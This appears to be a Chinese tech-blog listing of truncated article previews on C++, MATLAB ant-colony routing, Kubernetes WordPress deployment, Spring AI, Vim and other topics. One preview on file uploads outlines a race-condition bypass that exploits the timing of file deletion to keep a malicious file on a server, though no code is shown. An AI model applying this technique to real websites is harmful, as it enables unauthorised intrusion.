目录 1.引言 2.示例 3.总结 1.引言 为什么C的虚函数和内联函数这两个看似矛盾的特性能否共存&#xff1f;这个问题实际上触及了C编译期优化与运行时多态性之间的微妙平衡。我发现这个问题不仅是面试中的常见陷阱&#xff0c;更是理解C深层机制很好的一个点。 虚函数可以被声…...

蚁群算法赋能生鲜配送:MATLAB 实现多约束路径优化

在生鲜农产品配送中&#xff0c;如何平衡运输效率与成本控制始终是行业难题。本文聚焦多目标路径优化&#xff0c;通过 MATLAB 实现蚁群算法&#xff0c;解决包含载重限制、时间窗约束、冷藏货损成本的复杂配送问题。代码完整复现了从数据生成到路径优化的全流程&#xff0c;助…...

前苹果首席设计官回顾了其在苹果的设计生涯、公司文化、标志性产品的背后故事

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…...

《基于 Kubernetes 的 WordPress 高可用部署实践:从 MariaDB 到 Nginx 反向代理》

手把手教你用 Kubernetes 部署高可用 WordPress 博客 本实验通过 Kubernetes 容器编排平台&#xff0c;完整部署了一个高可用的 WordPress 网站架构&#xff0c;包含 MariaDB 数据库、WordPress 应用和 Nginx 反向代理三大核心组件。实验涵盖了从基础环境准备到最终服务暴露的…...

文件上传总结

攻击与绕过方式 一、条件竞争 攻击原理&#xff1a;在上传文件的同时利用代码逻辑中的时序问题&#xff08;如 unlink() 删除操作&#xff09;触发条件竞争&#xff0c;从而实现上传恶意文件并绕过限制。 示例测试源码&#xff1a; 以下为测试文件上传功能的 PHP 源码&#xff…...

在文档里如何引用在线SVG甘特图

在文档里如何引用在线SVG甘特图 介绍 本文将详细介绍如何快速创建一个功能强大的在线甘特图&#xff0c;并将其嵌入到其他文档&#xff08;如 Notion、Wiki、Qiita、GitHub、Obsidian、Email 等&#xff09;中。只要目标工具支持引用网络图片&#xff0c;你就可以轻松实现这一…...

Spring AI 与 Groq 的深度集成:解锁高效 AI 推理新体验

Spring AI 与 Groq 的深度集成&#xff1a;解锁高效 AI 推理新体验 前言 在人工智能飞速发展的当下&#xff0c;AI 推理的效率和性能成为开发者关注的焦点。Groq 作为一款基于 LPU™ 的超快速 AI 推理引擎&#xff0c;凭借其强大的性能&#xff0c;能够支持各类 AI 模型&…...

101alpha---第10

rank(((0 < ts_arg_min(ts_delta(close, 1), 4)) ? ts_delta(close, 1) : ((ts_arg_max(ts_delta(close, 1), 4) < 0) ? ts_delta(close, 1) : (-1 * ts_delta(close, 1))))) alpha 那么我们来看具体含义 吧 rank(((0 < ts_arg_min(ts_delta(close, 1), 4)) ? …...

vim中的查找

在 Vim 中&#xff0c;使用 n 键可以按正向&#xff08;向下&#xff09;继续查找下一个匹配项。若要反向&#xff08;向上&#xff09;查找&#xff0c;可以使用以下方法&#xff1a; 1. 使用 N 键反向查找 在查找命令&#xff08;如 /keyword&#xff09;后&#xff0c;按下…...